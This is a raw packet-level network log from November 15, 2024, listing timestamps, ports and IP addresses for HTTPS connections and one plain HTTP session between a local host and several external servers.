Nov 15, 2024 19:39:31.655126095 CET	49797	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:31.655153990 CET	49797	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:31.655205011 CET	443	49797	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:31.715615034 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.726803064 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.726824999 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.727365017 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.727372885 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.731841087 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.731898069 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.731964111 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.732454062 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.732475996 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.732490063 CET	49795	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.732505083 CET	443	49795	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.741656065 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.741704941 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.741786003 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.742213011 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.742229939 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.790240049 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.791299105 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.791318893 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.791768074 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.791773081 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.854341030 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.854520082 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.854592085 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.885334015 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.885363102 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.885376930 CET	49796	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.885382891 CET	443	49796	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.888793945 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.888842106 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.888969898 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.889065981 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.889082909 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.952363014 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.952419043 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.952564001 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.952574015 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.952631950 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.963728905 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.963751078 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:31.963763952 CET	49793	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:31.963769913 CET	443	49793	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.014257908 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.014286995 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.014558077 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.014558077 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.014583111 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.313563108 CET	443	49797	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:32.313666105 CET	443	49797	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:32.313716888 CET	49797	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:32.313910961 CET	49797	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:32.313925982 CET	443	49797	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:32.313940048 CET	49797	443	192.168.2.7	172.67.174.133
Nov 15, 2024 19:39:32.313946009 CET	443	49797	172.67.174.133	192.168.2.7
Nov 15, 2024 19:39:32.315035105 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.315659046 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.315681934 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.316109896 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.316113949 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.318177938 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:32.323287964 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:32.323374987 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:32.323503017 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:32.328517914 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:32.408147097 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.408395052 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.408459902 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.408525944 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.408545017 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.408555984 CET	49794	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.408561945 CET	443	49794	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.411719084 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.411753893 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.411839962 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.412355900 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.412375927 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.448561907 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.448640108 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.448795080 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.448939085 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.448955059 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.448964119 CET	49798	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.448967934 CET	443	49798	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.451832056 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.451874971 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.451993942 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.452126026 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.452152014 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.460397959 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 19:39:32.474116087 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.474565983 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.474575996 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.475018024 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.475023031 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.601708889 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.601860046 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.601953030 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.602138042 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.602147102 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.602160931 CET	49799	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.602165937 CET	443	49799	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.605276108 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.605314016 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.605390072 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.605539083 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.605555058 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.649682999 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.650312901 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.650345087 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.650800943 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.650810957 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.783824921 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.783984900 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.784101963 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.784236908 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.784259081 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.784270048 CET	49800	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.784276009 CET	443	49800	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.789469004 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.789511919 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:32.789733887 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.789809942 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:32.789819956 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.211390972 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.212259054 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.212286949 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.212905884 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.212913990 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.221069098 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.221481085 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.221497059 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.222018003 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.222023010 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.246634960 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.247153044 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.247163057 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.247550011 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.247554064 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.258318901 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.258342028 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.258352995 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.258408070 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.258419991 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.258450031 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.258487940 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.258488894 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.258500099 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.258538008 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.258578062 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.258589983 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.258605003 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.258625031 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.258651972 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.263426065 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.263437986 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.263485909 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.344614029 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.344666958 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.344782114 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.345057964 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.345079899 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.345093012 CET	49804	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.345099926 CET	443	49804	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.348712921 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.348753929 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.348836899 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.348997116 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.349014044 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.357510090 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.357798100 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.357908010 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.357908964 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.357908964 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.360749006 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.360771894 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.360927105 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.361059904 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.361073017 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.375399113 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.375473976 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.375545025 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.375619888 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.375629902 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.375641108 CET	49801	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.375646114 CET	443	49801	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.376373053 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.376771927 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.376789093 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.377237082 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.377242088 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.378935099 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.378972054 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.379041910 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.379162073 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.379173994 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.412970066 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.412992954 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.413002968 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.413024902 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.413049936 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.413069963 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.413070917 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.413140059 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.413151979 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.413187981 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.413881063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.413952112 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.414041996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.414108038 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.414161921 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.414217949 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.414288998 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.414302111 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.414360046 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.414371967 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.414382935 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.414423943 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.415014029 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.415031910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.415043116 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.415072918 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.415072918 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.415159941 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.415173054 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.415215969 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.415930033 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.415949106 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.416002035 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.418040037 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.418059111 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.418068886 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.418211937 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.512092113 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.512244940 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.512356997 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.512564898 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.512583971 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.512595892 CET	49805	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.512603045 CET	443	49805	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.515891075 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.515918970 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.516047001 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.516263962 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.516278982 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.567778111 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.567802906 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.567812920 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.567823887 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.567888975 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.567912102 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.567920923 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.567924976 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.567951918 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.567974091 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.568005085 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568015099 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568046093 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.568161011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568201065 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568212032 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568242073 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.568270922 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.568552971 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568562984 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568605900 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.568648100 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568660975 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568671942 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568684101 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568706036 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.568728924 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.568766117 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568938971 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568948984 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568960905 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.568989038 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.569015026 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.569017887 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569029093 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569062948 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.569176912 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569226980 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569240093 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569272995 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.569367886 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569379091 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569390059 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569406033 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569410086 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.569418907 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569434881 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.569459915 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.569780111 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569792032 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569802999 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569828033 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.569861889 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569875002 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.569916964 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.570099115 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.570146084 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.570148945 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.570161104 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.570199966 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.570229053 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.570240021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.570250988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.570262909 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.570287943 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.570305109 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.570451021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.570461988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.570472002 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.570498943 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.572756052 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.572774887 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.572810888 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.572815895 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.572863102 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.572877884 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.572921991 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.572938919 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:33.572963953 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.574145079 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.574763060 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.574793100 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.575295925 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.575300932 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.613492966 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:33.660304070 CET	49803	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.660330057 CET	443	49803	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.710211039 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.710273981 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.710391045 CET	443	49806	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:33.710453987 CET	49806	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:33.710453987 CET	49806	443	192.168.2.7	13.107.246.45
